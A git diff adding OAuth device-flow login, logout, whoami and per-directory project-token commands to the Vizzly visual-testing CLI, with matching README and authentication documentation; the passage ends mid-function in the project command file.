diff --git a/README.md b/README.md index a191cda4..356f3183 100644 --- a/README.md +++ b/README.md @@ -36,16 +36,44 @@ npm install -g @vizzly-testing/cli vizzly init ``` -### Set up your API token +### Authentication -For local development, create a `.env` file in your project root and add your token: +Vizzly supports two authentication methods: +**Option 1: User Authentication (Recommended for local development)** +```bash +# Authenticate with your Vizzly account +vizzly login + +# Optional: Configure project-specific token +vizzly project:select + +# Run tests +vizzly run "npm test" +``` + +**Option 2: API Token (Recommended for CI/CD)** +```bash +# Set via environment variable +export VIZZLY_TOKEN=your-project-token + +# Run tests +vizzly run "npm test" +``` + +For local development with `.env` files: ``` -VIZZLY_TOKEN=your-api-token +VIZZLY_TOKEN=your-project-token ``` Then add `.env` to your `.gitignore` file. For CI/CD, use your provider's secret management system. +**Token Priority:** +1. CLI flag (`--token`) +2. Environment variable (`VIZZLY_TOKEN`) +3. Project mapping (configured via `vizzly project:select`) +4. User access token (from `vizzly login`) + ### Upload existing screenshots ```bash @@ -88,6 +116,84 @@ await vizzlyScreenshot('homepage', './screenshots/homepage.png', { ## Commands +### Authentication Commands + +```bash +vizzly login # Authenticate with your Vizzly account +vizzly logout # Clear stored authentication tokens +vizzly whoami # Show current user and authentication status +vizzly project:select # Configure project-specific token +vizzly project:list # Show all configured projects +vizzly project:token # Display project token for current directory +vizzly project:remove # Remove project configuration +``` + +#### Login Command +Authenticate using OAuth 2.0 device flow. Opens your browser to authorize the CLI with your Vizzly account. + +```bash +# Interactive browser-based login +vizzly login + +# JSON output for scripting +vizzly login --json +``` + +**Features:** +- Browser auto-opens with pre-filled device code +- Secure OAuth 2.0 device authorization flow +- 30-day token expiry with automatic refresh +- Tokens stored securely in `~/.vizzly/config.json` with 0600 permissions + +#### Logout Command +Clear all stored authentication tokens from your machine. + +```bash +# Clear all tokens +vizzly logout + +# JSON output +vizzly logout --json +``` + +Revokes tokens on the server and removes them from local storage. + +#### Whoami Command +Display current authentication status, user information, and organizations. + +```bash +# Show user and authentication info +vizzly whoami + +# JSON output for scripting +vizzly whoami --json +``` + +Shows: +- Current user email and name +- Organizations you belong to +- Token status and expiry +- Project mappings (if any) + +#### Project Commands +Configure directory-specific project tokens for multi-project workflows. + +```bash +# Select a project for current directory +vizzly project:select + +# List all configured projects +vizzly project:list + +# Show token for current directory +vizzly project:token + +# Remove project configuration +vizzly project:remove +``` + +**Use case:** Working on multiple Vizzly projects? Configure each project directory with its specific token. The CLI automatically uses the right token based on your current directory. + ### Upload Screenshots ```bash vizzly upload # Upload screenshots from directory @@ -471,6 +577,7 @@ See the [Plugin Development Guide](./docs/plugins.md) for complete documentation ## Documentation - [Getting Started](./docs/getting-started.md) +- [Authentication Guide](./docs/authentication.md) - [Upload Command Guide](./docs/upload-command.md) - [Test Integration Guide](./docs/test-integration.md) - [TDD Mode Guide](./docs/tdd-mode.md) @@ -483,8 +590,12 @@ See the [Plugin Development Guide](./docs/plugins.md) for complete documentation ## Environment Variables +### Authentication +- `VIZZLY_TOKEN`: API authentication token (project token or access token). Example: `export VIZZLY_TOKEN=your-token`. + - For local development: Use `vizzly login` instead of manually managing tokens + - For CI/CD: Use project tokens from environment variables + ### Core Configuration -- `VIZZLY_TOKEN`: API authentication token. Example: `export VIZZLY_TOKEN=your-token`. - `VIZZLY_API_URL`: Override API base URL. Default: `https://app.vizzly.dev`. - `VIZZLY_LOG_LEVEL`: Logger level. One of `debug`, `info`, `warn`, `error`. Example: `export VIZZLY_LOG_LEVEL=debug`. diff --git a/docs/api-reference.md b/docs/api-reference.md index 34635762..97ab10cf 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -326,6 +326,117 @@ vizzly.on('comparison:failed', (error) => { ## CLI Commands +### Authentication Commands + +#### `vizzly login` + +Authenticate using OAuth 2.0 device flow. + +**Options:** +- `--json` - Machine-readable JSON output +- `--verbose` - Verbose output + +**Exit Codes:** +- `0` - Login successful +- `1` - Login failed + +**Example:** +```bash +vizzly login +``` + +#### `vizzly logout` + +Clear stored authentication tokens. + +**Options:** +- `--json` - Machine-readable JSON output +- `--verbose` - Verbose output + +**Exit Codes:** +- `0` - Logout successful +- `1` - Logout failed + +**Example:** +```bash +vizzly logout +``` + +#### `vizzly whoami` + +Display current user and authentication status. + +**Options:** +- `--json` - Machine-readable JSON output + +**Exit Codes:** +- `0` - Success +- `1` - Not authenticated or error + +**Example:** +```bash +vizzly whoami +``` + +#### `vizzly project:select` + +Configure project-specific token for current directory. + +**Options:** +- `--json` - Machine-readable JSON output + +**Exit Codes:** +- `0` - Project configured successfully +- `1` - Configuration failed + +**Example:** +```bash +cd /path/to/project +vizzly project:select +``` + +#### `vizzly project:list` + +Show all configured projects. + +**Exit Codes:** +- `0` - Success +- `1` - Error + +**Example:** +```bash +vizzly project:list +``` + +#### `vizzly project:token` + +Display project token for current directory. + +**Options:** +- `--json` - Machine-readable JSON output + +**Exit Codes:** +- `0` - Success +- `1` - No project configured or error + +**Example:** +```bash +vizzly project:token +``` + +#### `vizzly project:remove` + +Remove project configuration for current directory. + +**Exit Codes:** +- `0` - Success +- `1` - No project configured or error + +**Example:** +```bash +vizzly project:remove +``` + ### `vizzly upload ` Upload screenshots from a directory. @@ -557,9 +668,14 @@ Configuration loaded via cosmiconfig in this order: ### Environment Variables +**Authentication:** +- `VIZZLY_TOKEN` - API authentication token (project token or access token) + - For local development: Use `vizzly login` instead of manually managing tokens + - For CI/CD: Use project tokens from environment variables + - Token priority: CLI flag → env var → project mapping → user access token + **Core Configuration:** -- `VIZZLY_TOKEN` - API authentication token -- `VIZZLY_API_URL` - API base URL override +- `VIZZLY_API_URL` - API base URL override (default: `https://app.vizzly.dev`) - `VIZZLY_LOG_LEVEL` - Logger level (`debug`, `info`, `warn`, `error`) **Parallel Builds:** diff --git a/docs/authentication.md b/docs/authentication.md new file mode 100644 index 00000000..a321cd36 --- /dev/null +++ b/docs/authentication.md @@ -0,0 +1,334 @@ +# Authentication Guide + +Vizzly CLI supports flexible authentication to fit different workflows: user authentication for local development and API tokens for CI/CD pipelines. + +## Overview + +The CLI provides two authentication methods: + +1. **User Authentication** - OAuth-based login for individual developers +2. **API Tokens** - Direct token authentication for automation and CI/CD + +## User Authentication (Recommended for Local Development) + +User authentication uses OAuth 2.0 device flow to securely authenticate with your Vizzly account. + +### Login + +```bash +vizzly login +``` + +**What happens:** +1. CLI displays a device code +2. Browser automatically opens to https://app.vizzly.dev/auth/device +3. Device code is pre-filled in the form +4. You authorize the CLI with your Vizzly account +5. Access token is stored securely in `~/.vizzly/config.json` + +**Features:** +- 30-day token expiry with automatic refresh +- Secure storage with 0600 file permissions (Unix/Linux/macOS) +- Works across all your projects + +**JSON Output:** +```bash +vizzly login --json +``` + +Returns machine-readable output for scripting: +```json +{ + "success": true, + "user": { + "email": "you@example.com", + "name": "Your Name" + } +} +``` + +### Check Authentication Status + +```bash +vizzly whoami +``` + +Shows: +- Current user email and name +- Organizations you belong to +- Token expiry date +- Project mappings (if configured) + +**Example output:** +``` +Authenticated as you@example.com (Your Name) + +Organizations: + - Acme Inc + - Personal + +Token expires: 2025-11-15 + +Project mappings: + /Users/you/projects/acme-app → Acme Inc / Marketing Site +``` + +**JSON Output:** +```bash +vizzly whoami --json +``` + +### Logout + +```bash +vizzly logout +``` + +Clears all stored authentication: +- Revokes tokens on the server +- Removes tokens from `~/.vizzly/config.json` +- Clears project mappings + +## Project-Specific Tokens + +For multi-project workflows, configure directory-specific tokens. + +### Select a Project + +```bash +cd /path/to/project +vizzly project:select +``` + +**Interactive prompts:** +1. Choose an organization +2. Choose a project +3. Token is mapped to current directory path + +The CLI automatically uses the correct token based on your current directory. + +### List Projects + +```bash +vizzly project:list +``` + +Shows all configured project mappings: +``` +Project mappings: + /Users/you/projects/acme-app → Acme Inc / Marketing Site + /Users/you/projects/startup → Personal / Landing Page +``` + +### Show Project Token + +```bash +vizzly project:token +``` + +Displays the project token for the current directory (first 10 characters only for security). + +**JSON Output:** +```bash +vizzly project:token --json +``` + +### Remove Project Configuration + +```bash +vizzly project:remove +``` + +Removes the project mapping for the current directory. + +## API Token Authentication (Recommended for CI/CD) + +For automated environments, use project tokens directly. + +### Using Environment Variables + +```bash +export VIZZLY_TOKEN=vzt_your_project_token_here +vizzly run "npm test" +``` + +### Using CLI Flags + +```bash +vizzly run "npm test" --token vzt_your_project_token_here +``` + +### Using .env Files (Local Development) + +Create a `.env` file in your project root: + +``` +VIZZLY_TOKEN=vzt_your_project_token_here +``` + +**Important:** Add `.env` to your `.gitignore` to prevent committing secrets. + +### CI/CD Integration + +Use your CI provider's secret management: + +**GitHub Actions:** +```yaml +- name: Run visual tests + run: npx vizzly run "npm test" --wait + env: + VIZZLY_TOKEN: ${{ secrets.VIZZLY_TOKEN }} +``` + +**GitLab CI:** +```yaml +visual-tests: + script: + - npx vizzly run "npm test" --wait + variables: + VIZZLY_TOKEN: $VIZZLY_TOKEN +``` + +**CircleCI:** +```yaml +- run: + name: Visual tests + command: npx vizzly run "npm test" --wait + environment: + VIZZLY_TOKEN: $VIZZLY_TOKEN +``` + +## Token Resolution Priority + +The CLI resolves tokens in this order (highest to lowest): + +1. **CLI flag** (`--token`) +2. **Environment variable** (`VIZZLY_TOKEN`) +3. **Project mapping** (from `vizzly project:select`) +4. **User access token** (from `vizzly login`) + +This allows flexible authentication across different contexts. + +### Examples + +**Override with CLI flag:** +```bash +vizzly run "npm test" --token vzt_different_token +``` + +**Use project mapping:** +```bash +cd /path/to/project +vizzly run "npm test" # Uses token from project:select +``` + +**Fallback to user token:** +```bash +vizzly login +cd /new/project +vizzly run "npm test" # Uses user access token +``` + +## Token Storage + +Tokens are stored in `~/.vizzly/config.json` with the following structure: + +```json +{ + "accessToken": "vzt_...", + "refreshToken": "vzr_...", + "expiresAt": "2025-11-15T10:30:00Z", + "user": { + "id": "usr_...", + "email": "you@example.com", + "name": "Your Name" + }, + "projectMappings": { + "/Users/you/projects/acme-app": { + "organizationId": "org_...", + "organizationName": "Acme Inc", + "projectId": "prj_...", + "projectName": "Marketing Site", + "token": "vzt_..." + } + } +} +``` + +**Security:** +- File created with `0600` permissions (owner read/write only) +- On Windows, permissions are set via ACLs when possible +- Never commit this file to version control + +## Token Refresh + +Access tokens expire after 30 days. The CLI automatically refreshes tokens: + +- **5-minute expiry buffer** - Tokens are refreshed 5 minutes before expiry +- **Automatic refresh on 401** - If a request fails with 401, token is refreshed and retried +- **Refresh tokens** - Long-lived refresh tokens are used to obtain new access tokens + +You don't need to manually manage token refresh. + +## Troubleshooting + +### "Not authenticated" error + +**Solution:** +```bash +vizzly login +``` + +Or set `VIZZLY_TOKEN` environment variable. + +### "Token expired" error + +**Solution:** +The CLI should auto-refresh. If it doesn't: +```bash +vizzly logout +vizzly login +``` + +### Permission denied writing config file + +**Linux/macOS:** +```bash +chmod 700 ~/.vizzly +chmod 600 ~/.vizzly/config.json +``` + +**Windows:** +Run CLI as administrator or check file permissions. + +### Project token not being used + +**Solution:** +Verify project mapping: +```bash +vizzly project:list +``` + +Check you're in the correct directory. The CLI traverses parent directories to find project mappings. + +### Browser doesn't open during login + +**Solution:** +1. Copy the device code shown in the terminal +2. Manually visit https://app.vizzly.dev/auth/device +3. Paste the device code +4. Press Enter in the terminal after authorizing + +## Security Best Practices + +1. **Never commit tokens** - Add `.env` and `~/.vizzly/config.json` to `.gitignore` +2. **Use CI secrets** - Store `VIZZLY_TOKEN` in your CI provider's secret manager +3. **Rotate tokens regularly** - Generate new project tokens periodically +4. **Use project tokens in CI** - Don't use personal access tokens in shared pipelines +5. **Limit token scope** - Use project-specific tokens instead of organization-wide tokens when possible + +## Next Steps + +- [Getting Started Guide](./getting-started.md) +- [Test Integration Guide](./test-integration.md) +- [API Reference](./api-reference.md) diff --git a/docs/getting-started.md b/docs/getting-started.md index 32f90c09..5165c168 100644 --- a/docs/getting-started.md +++ b/docs/getting-started.md @@ -22,12 +22,31 @@ npx vizzly init This creates a basic `vizzly.config.js` file with sensible defaults. -### 2. Set up your API token +### 2. Authenticate + +**Option 1: User Authentication (Recommended for local development)** ```bash -export VIZZLY_TOKEN=your-api-token +# Authenticate with your Vizzly account +npx vizzly login + +# Optional: Configure project-specific token for this directory +npx vizzly project:select ``` +**Option 2: API Token (Recommended for CI/CD)** + +```bash +export VIZZLY_TOKEN=your-project-token +``` + +**Token Priority:** +The CLI resolves tokens in this order: +1. CLI flag (`--token`) +2. Environment variable (`VIZZLY_TOKEN`) +3. Project mapping (from `vizzly project:select`) +4. User access token (from `vizzly login`) + ### 3. Verify your setup Run a fast local preflight: diff --git a/src/cli.js b/src/cli.js index d80ed691..2b7dfe49 100644 --- a/src/cli.js +++ b/src/cli.js @@ -17,6 +17,16 @@ import { validateFinalizeOptions, } from './commands/finalize.js'; import { doctorCommand, validateDoctorOptions } from './commands/doctor.js'; +import { loginCommand, validateLoginOptions } from './commands/login.js'; +import { logoutCommand, validateLogoutOptions } from './commands/logout.js'; +import { whoamiCommand, validateWhoamiOptions } from './commands/whoami.js'; +import { + projectSelectCommand, + projectListCommand, + projectTokenCommand, + projectRemoveCommand, + validateProjectOptions, +} from './commands/project.js'; import { getPackageVersion } from './utils/package-info.js'; import { loadPlugins } from './plugin-loader.js'; import { loadConfig } from './utils/config-loader.js'; @@ -324,4 +334,103 @@ program await doctorCommand(options, globalOptions); }); +program + .command('login') + .description('Authenticate with your Vizzly account') + .option('--api-url ', 'API URL override') + .action(async options => { + const globalOptions = program.opts(); + + // Validate options + const validationErrors = validateLoginOptions(options); + if (validationErrors.length > 0) { + console.error('Validation errors:'); + validationErrors.forEach(error => console.error(` - ${error}`)); + process.exit(1); + } + + await loginCommand(options, globalOptions); + }); + +program + .command('logout') + .description('Clear stored authentication tokens') + .option('--api-url ', 'API URL override') + .action(async options => { + const globalOptions = program.opts(); + + // Validate options + const validationErrors = validateLogoutOptions(options); + if (validationErrors.length > 0) { + console.error('Validation errors:'); + validationErrors.forEach(error => console.error(` - ${error}`)); + process.exit(1); + } + + await logoutCommand(options, globalOptions); + }); + +program + .command('whoami') + .description('Show current authentication status and user information') + .option('--api-url ', 'API URL override') + .action(async options => { + const globalOptions = program.opts(); + + // Validate options + const validationErrors = validateWhoamiOptions(options); + if (validationErrors.length > 0) { + console.error('Validation errors:'); + validationErrors.forEach(error => console.error(` - ${error}`)); + process.exit(1); + } + + await whoamiCommand(options, globalOptions); + }); + +program + .command('project:select') + .description('Configure project for current directory') + .option('--api-url ', 'API URL override') + .action(async options => { + const globalOptions = program.opts(); + + // Validate options + const validationErrors = validateProjectOptions(options); + if (validationErrors.length > 0) { + console.error('Validation errors:'); + validationErrors.forEach(error => console.error(` - ${error}`)); + process.exit(1); + } + + await projectSelectCommand(options, globalOptions); + }); + +program + .command('project:list') + .description('Show all configured projects') + .action(async options => { + const globalOptions = program.opts(); + + await projectListCommand(options, globalOptions); + }); + +program + .command('project:token') + .description('Show project token for current directory') + .action(async options => { + const globalOptions = program.opts(); + + await projectTokenCommand(options, globalOptions); + }); + +program + .command('project:remove') + .description('Remove project configuration for current directory') + .action(async options => { + const globalOptions = program.opts(); + + await projectRemoveCommand(options, globalOptions); + }); + program.parse(); diff --git a/src/commands/login.js b/src/commands/login.js new file mode 100644 index 00000000..f5a05f6b --- /dev/null +++ b/src/commands/login.js @@ -0,0 +1,222 @@ +/** + * Login command implementation + * Authenticates user via OAuth device flow + */ + +import { ConsoleUI } from '../utils/console-ui.js'; +import { AuthService } from '../services/auth-service.js'; +import { getApiUrl } from '../utils/environment-config.js'; +import { openBrowser } from '../utils/browser.js'; + +/** + * Login command implementation using OAuth device flow + * @param {Object} options - Command options + * @param {Object} globalOptions - Global CLI options + */ +export async function loginCommand(options = {}, globalOptions = {}) { + // Create UI handler + let ui = new ConsoleUI({ + json: globalOptions.json, + verbose: globalOptions.verbose, + color: !globalOptions.noColor, + }); + + try { + ui.info('Starting Vizzly authentication...'); + console.log(''); // Empty line for spacing + + // Create auth service + let authService = new AuthService({ + baseUrl: options.apiUrl || getApiUrl(), + }); + + // Initiate device flow + ui.startSpinner('Connecting to Vizzly...'); + let deviceFlow = await authService.initiateDeviceFlow(); + ui.stopSpinner(); + + // Handle both snake_case and camelCase field names + let verificationUri = + deviceFlow.verification_uri || deviceFlow.verificationUri; + let userCode = deviceFlow.user_code || deviceFlow.userCode; + let deviceCode = deviceFlow.device_code || deviceFlow.deviceCode; + + if (!verificationUri || !userCode || !deviceCode) { + throw new Error('Invalid device flow response from server'); + } + + // Build URL with pre-filled code + let urlWithCode = `${verificationUri}?code=${userCode}`; + + // Display user code prominently + console.log(''); // Empty line for spacing + console.log('='.repeat(50)); + console.log(''); + console.log(' Please visit the following URL to authorize this device:'); + console.log(''); + console.log(` ${urlWithCode}`); + console.log(''); + console.log(' Your code (pre-filled):'); + console.log(''); + console.log(` ${ui.colors.bold(ui.colors.cyan(userCode))}`); + console.log(''); + console.log('='.repeat(50)); + console.log(''); // Empty line for spacing + + // Try to open browser with pre-filled code + let browserOpened = await openBrowser(urlWithCode); + if (browserOpened) { + ui.info('Opening browser...'); + } else { + ui.warning( + 'Could not open browser automatically. Please open the URL manually.' + ); + } + + console.log(''); // Empty line for spacing + ui.info('After authorizing in your browser, press Enter to continue...'); + + // Wait for user to press Enter + await new Promise(resolve => { + process.stdin.setRawMode(true); + process.stdin.resume(); + process.stdin.once('data', () => { + process.stdin.setRawMode(false); + process.stdin.pause(); + resolve(); + }); + }); + + // Check authorization status + ui.startSpinner('Checking authorization status...'); + + let pollResponse = await authService.pollDeviceAuthorization(deviceCode); + + ui.stopSpinner(); + + let tokenData = null; + + // Check if authorization was successful by looking for tokens + if (pollResponse.tokens && pollResponse.tokens.accessToken) { + // Success! We got tokens + tokenData = pollResponse; + } else if (pollResponse.status === 'pending') { + throw new Error( + 'Authorization not complete yet. Please complete the authorization in your browser and try running "vizzly login" again.' + ); + } else if (pollResponse.status === 'expired') { + throw new Error('Device code expired. Please try logging in again.'); + } else if (pollResponse.status === 'denied') { + throw new Error('Authorization denied. Please try logging in again.'); + } else { + throw new Error( + 'Unexpected response from authorization server. Please try logging in again.' + ); + } + + // Complete device flow and save tokens + // Handle both snake_case and camelCase for token data, and nested tokens object + let tokensData = tokenData.tokens || tokenData; + let tokenExpiresIn = tokensData.expiresIn || tokensData.expires_in; + let tokenExpiresAt = tokenExpiresIn + ? new Date(Date.now() + tokenExpiresIn * 1000).toISOString() + : tokenData.expires_at || tokenData.expiresAt; + + let tokens = { + accessToken: tokensData.accessToken || tokensData.access_token, + refreshToken: tokensData.refreshToken || tokensData.refresh_token, + expiresAt: tokenExpiresAt, + user: tokenData.user, + organizations: tokenData.organizations, + }; + await authService.completeDeviceFlow(tokens); + + // Display success message + ui.success('Successfully authenticated!'); + console.log(''); // Empty line for spacing + + // Show user info + if (tokens.user) { + ui.info(`User: ${tokens.user.name || tokens.user.username}`); + ui.info(`Email: ${tokens.user.email}`); + } + + // Show organization info + if (tokens.organizations && tokens.organizations.length > 0) { + console.log(''); // Empty line for spacing + ui.info('Organizations:'); + for (let org of tokens.organizations) { + console.log(` - ${org.name}${org.slug ? ` (@${org.slug})` : ''}`); + } + } + + // Show token expiry info + if (tokens.expiresAt) { + console.log(''); // Empty line for spacing + let expiresAt = new Date(tokens.expiresAt); + let msUntilExpiry = expiresAt.getTime() - Date.now(); + let daysUntilExpiry = Math.floor(msUntilExpiry / (1000 * 60 * 60 * 24)); + let hoursUntilExpiry = Math.floor(msUntilExpiry / (1000 * 60 * 60)); + let minutesUntilExpiry = Math.floor(msUntilExpiry / (1000 * 60)); + + if (daysUntilExpiry > 0) { + ui.info( + `Token expires in ${daysUntilExpiry} day${daysUntilExpiry !== 1 ? 's' : ''} (${expiresAt.toLocaleDateString()})` + ); + } else if (hoursUntilExpiry > 0) { + ui.info( + `Token expires in ${hoursUntilExpiry} hour${hoursUntilExpiry !== 1 ? 's' : ''}` + ); + } else if (minutesUntilExpiry > 0) { + ui.info( + `Token expires in ${minutesUntilExpiry} minute${minutesUntilExpiry !== 1 ? 's' : ''}` + ); + } + } + + console.log(''); // Empty line for spacing + ui.info('You can now use Vizzly CLI commands without setting VIZZLY_TOKEN'); + + ui.cleanup(); + } catch (error) { + ui.stopSpinner(); + + // Handle authentication errors with helpful messages + if (error.name === 'AuthError') { + ui.error('Authentication failed', error, 0); + console.log(''); // Empty line for spacing + console.log('Please try logging in again.'); + console.log( + "If you don't have an account, sign up at https://vizzly.dev" + ); + process.exit(1); + } else if (error.code === 'RATE_LIMIT_ERROR') { + ui.error('Too many login attempts', error, 0); + console.log(''); // Empty line for spacing + console.log('Please wait a few minutes before trying again.'); + process.exit(1); + } else { + ui.error('Login failed', error, 0); + console.log(''); // Empty line for spacing + console.log('Error details:', error.message); + if (globalOptions.verbose && error.stack) { + console.error(''); // Empty line for spacing + console.error(error.stack); + } + process.exit(1); + } + } +} + +/** + * Validate login options + * @param {Object} options - Command options + */ +export function validateLoginOptions() { + let errors = []; + + // No specific validation needed for login command + // OAuth device flow handles everything via browser + + return errors; +} diff --git a/src/commands/logout.js b/src/commands/logout.js new file mode 100644 index 00000000..9c870313 --- /dev/null +++ b/src/commands/logout.js @@ -0,0 +1,78 @@ +/** + * Logout command implementation + * Clears stored authentication tokens + */ + +import { ConsoleUI } from '../utils/console-ui.js'; +import { AuthService } from '../services/auth-service.js'; +import { getApiUrl } from '../utils/environment-config.js'; +import { getAuthTokens } from '../utils/global-config.js'; + +/** + * Logout command implementation + * @param {Object} options - Command options + * @param {Object} globalOptions - Global CLI options + */ +export async function logoutCommand(options = {}, globalOptions = {}) { + // Create UI handler + let ui = new ConsoleUI({ + json: globalOptions.json, + verbose: globalOptions.verbose, + color: !globalOptions.noColor, + }); + + try { + // Check if user is logged in + let auth = await getAuthTokens(); + + if (!auth || !auth.accessToken) { + ui.info('You are not logged in'); + ui.cleanup(); + return; + } + + // Logout + ui.startSpinner('Logging out...'); + + let authService = new AuthService({ + baseUrl: options.apiUrl || getApiUrl(), + }); + + await authService.logout(); + + ui.stopSpinner(); + ui.success('Successfully logged out'); + + if (globalOptions.json) { + ui.data({ loggedOut: true }); + } else { + console.log(''); // Empty line for spacing + ui.info('Your authentication tokens have been cleared'); + ui.info('Run "vizzly login" to authenticate again'); + } + + ui.cleanup(); + } catch (error) { + ui.stopSpinner(); + ui.error('Logout failed', error, 0); + + if (globalOptions.verbose && error.stack) { + console.error(''); // Empty line for spacing + console.error(error.stack); + } + + process.exit(1); + } +} + +/** + * Validate logout options + * @param {Object} options - Command options + */ +export function validateLogoutOptions() { + let errors = []; + + // No specific validation needed for logout command + + return errors; +} diff --git a/src/commands/project.js b/src/commands/project.js new file mode 100644 index 00000000..130c0f64 --- /dev/null +++ b/src/commands/project.js @@ -0,0 +1,412 @@ +/** + * Project management commands + * Select, list, and manage project tokens + */ + +import { ConsoleUI } from '../utils/console-ui.js'; +import { AuthService } from '../services/auth-service.js'; +import { getApiUrl } from '../utils/environment-config.js'; +import { + getAuthTokens, + saveProjectMapping, + getProjectMapping, + getProjectMappings, + deleteProjectMapping, +} from '../utils/global-config.js'; +import { resolve } from 'path'; +import readline from 'readline'; + +/** + * Project select command - configure project for current directory + * @param {Object} options - Command options + * @param {Object} globalOptions - Global CLI options + */ +export async function projectSelectCommand(options = {}, globalOptions = {}) { + let ui = new ConsoleUI({ + json: globalOptions.json, + verbose: globalOptions.verbose, + color: !globalOptions.noColor, + }); + + try { + // Check authentication + let auth = await getAuthTokens(); + if (!auth || !auth.accessToken) { + ui.error('Not authenticated', null, 0); + console.log(''); // Empty line for spacing + ui.info('Run "vizzly login" to authenticate first'); + process.exit(1); + } + + let authService = new AuthService({ + baseUrl: options.apiUrl || getApiUrl(), + }); + + // Get user info to show organizations + ui.startSpinner('Fetching organizations...'); + let userInfo = await authService.whoami(); + ui.stopSpinner(); + + if (!userInfo.organizations || userInfo.organizations.length === 0) { + ui.error('No organizations found', null, 0); + console.log(''); // Empty line for spacing + ui.info('Create an organization at https://vizzly.dev'); + process.exit(1); + } + + // Select organization + console.log(''); // Empty line for spacing + ui.info('Select an organization:'); + console.log(''); // Empty line for spacing + + userInfo.organizations.forEach((org, index) => { + console.log(` ${index + 1}. ${org.name} (@${org.slug})`); + }); + + console.log(''); // Empty line for spacing + let orgChoice = await promptNumber( + 'Enter number', + 1, + userInfo.organizations.length + ); + let selectedOrg = userInfo.organizations[orgChoice - 1]; + + // List projects for organization + ui.startSpinner(`Fetching projects for ${selectedOrg.name}...`); + + let response = await makeAuthenticatedRequest( + `${options.apiUrl || getApiUrl()}/api/project`, + { + headers: { + Authorization: `Bearer ${auth.accessToken}`, + 'X-Organization': selectedOrg.slug, + }, + } + ); + + ui.stopSpinner(); + + // Handle both array response and object with projects property + let projects = Array.isArray(response) ? response : response.projects || []; + + if (projects.length === 0) { + ui.error('No projects found', null, 0); + console.log(''); // Empty line for spacing + ui.info(`Create a project in ${selectedOrg.name} at https://vizzly.dev`); + process.exit(1); + } + + // Select project + console.log(''); // Empty line for spacing + ui.info('Select a project:'); + console.log(''); // Empty line for spacing + + projects.forEach((project, index) => { + console.log(` ${index + 1}. ${project.name} (${project.slug})`); + }); + + console.log(''); // Empty line for spacing + let projectChoice = await promptNumber('Enter number', 1, projects.length); + let selectedProject = projects[projectChoice - 1]; + + // Create API token for project + ui.startSpinner(`Creating API token for ${selectedProject.name}...`); + + let tokenResponse = await makeAuthenticatedRequest( + `${options.apiUrl || getApiUrl()}/api/project/${selectedProject.slug}/tokens`, + { + method: 'POST', + headers: { + Authorization: `Bearer ${auth.accessToken}`, + 'X-Organization': selectedOrg.slug, + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + name: `CLI Token - ${new Date().toLocaleDateString()}`, + description: `Generated by vizzly CLI for ${process.cwd()}`, + }), + } + ); + + ui.stopSpinner(); + + // Save project mapping + let currentDir = resolve(process.cwd()); + await saveProjectMapping(currentDir, { + token: tokenResponse.token, + projectSlug: selectedProject.slug, + projectName: selectedProject.name, + organizationSlug: selectedOrg.slug, + }); + + ui.success('Project configured!'); + console.log(''); // Empty line for spacing + ui.info(`Project: ${selectedProject.name}`); + ui.info(`Organization: ${selectedOrg.name}`); + ui.info(`Directory: ${currentDir}`); + + ui.cleanup(); + } catch (error) { + ui.stopSpinner(); + ui.error('Failed to configure project', error, 0); + if (globalOptions.verbose && error.stack) { + console.error(''); // Empty line for spacing + console.error(error.stack); + } + process.exit(1); + } +} + +/** + * Project list command - show all configured projects + * @param {Object} _options - Command options (unused) + * @param {Object} globalOptions - Global CLI options + */ +export async function projectListCommand(_options = {}, globalOptions = {}) { + let ui = new ConsoleUI({ + json: globalOptions.json, + verbose: globalOptions.verbose, + color: !globalOptions.noColor, + }); + + try { + let mappings = await getProjectMappings(); + let paths = Object.keys(mappings); + + if (paths.length === 0) { + ui.info('No projects configured'); + console.log(''); // Empty line for spacing + ui.info('Run "vizzly project:select" to configure a project'); + ui.cleanup(); + return; + } + + if (globalOptions.json) { + ui.data(mappings); + ui.cleanup(); + return; + } + + ui.info('Configured projects:'); + console.log(''); // Empty line for spacing + + let currentDir = resolve(process.cwd()); + + for (let path of paths) { + let mapping = mappings[path]; + let isCurrent = path === currentDir; + let marker = isCurrent ? '→' : ' '; + + // Extract token string (handle both string and object formats) + let tokenStr = + typeof mapping.token === 'string' + ? mapping.token + : mapping.token?.token || '[invalid token]'; + + console.log(`${marker} ${path}`); + console.log(` Project: ${mapping.projectName} (${mapping.projectSlug})`); + console.log(` Organization: ${mapping.organizationSlug}`); + if (globalOptions.verbose) { + console.log(` Token: ${tokenStr.substring(0, 20)}...`); + console.log( + ` Created: ${new Date(mapping.createdAt).toLocaleString()}` + ); + } + console.log(''); // Empty line for spacing + } + + ui.cleanup(); + } catch (error) { + ui.error('Failed to list projects', error, 0); + if (globalOptions.verbose && error.stack) { + console.error(''); // Empty line for spacing + console.error(error.stack); + } + process.exit(1); + } +} + +/** + * Project token command - show/regenerate token for current directory + * @param {Object} _options - Command options (unused) + * @param {Object} globalOptions - Global CLI options + */ +export async function projectTokenCommand(_options = {}, globalOptions = {}) { + let ui = new ConsoleUI({ + json: globalOptions.json, + verbose: globalOptions.verbose, + color: !globalOptions.noColor, + }); + + try { + let currentDir = resolve(process.cwd()); + let mapping = await getProjectMapping(currentDir); + + if (!mapping) { + ui.error('No project configured for this directory', null, 0); + console.log(''); // Empty line for spacing + ui.info('Run "vizzly project:select" to configure a project'); + process.exit(1); + } + + // Extract token string (handle both string and object formats) + let tokenStr = + typeof mapping.token === 'string' + ? mapping.token + : mapping.token?.token || '[invalid token]'; + + if (globalOptions.json) { + ui.data({ + token: tokenStr, + projectSlug: mapping.projectSlug, + organizationSlug: mapping.organizationSlug, + }); + ui.cleanup(); + return; + } + + ui.info('Project token:'); + console.log(''); // Empty line for spacing + console.log(` ${tokenStr}`); + console.log(''); // Empty line for spacing + ui.info(`Project: ${mapping.projectName} (${mapping.projectSlug})`); + ui.info(`Organization: ${mapping.organizationSlug}`); + + ui.cleanup(); + } catch (error) { + ui.error('Failed to get project token', error, 0); + if (globalOptions.verbose && error.stack) { + console.error(''); // Empty line for spacing + console.error(error.stack); + } + process.exit(1); + } +} + +/** + * Helper to make authenticated API request + */ +async function makeAuthenticatedRequest(url, options = {}) { + let response = await fetch(url, options); + + if (!response.ok) { + let errorText = ''; + try { + let errorData = await response.json(); + errorText = errorData.error || errorData.message || ''; + } catch { + errorText = await response.text(); + } + throw new Error( + `API request failed: ${response.status}${errorText ? ` - ${errorText}` : ''}` + ); + } + + return response.json(); +} + +/** + * Helper to prompt for a number + */ +function promptNumber(message, min, max) { + return new Promise(resolve => { + let rl = readline.createInterface({ + input: process.stdin, + 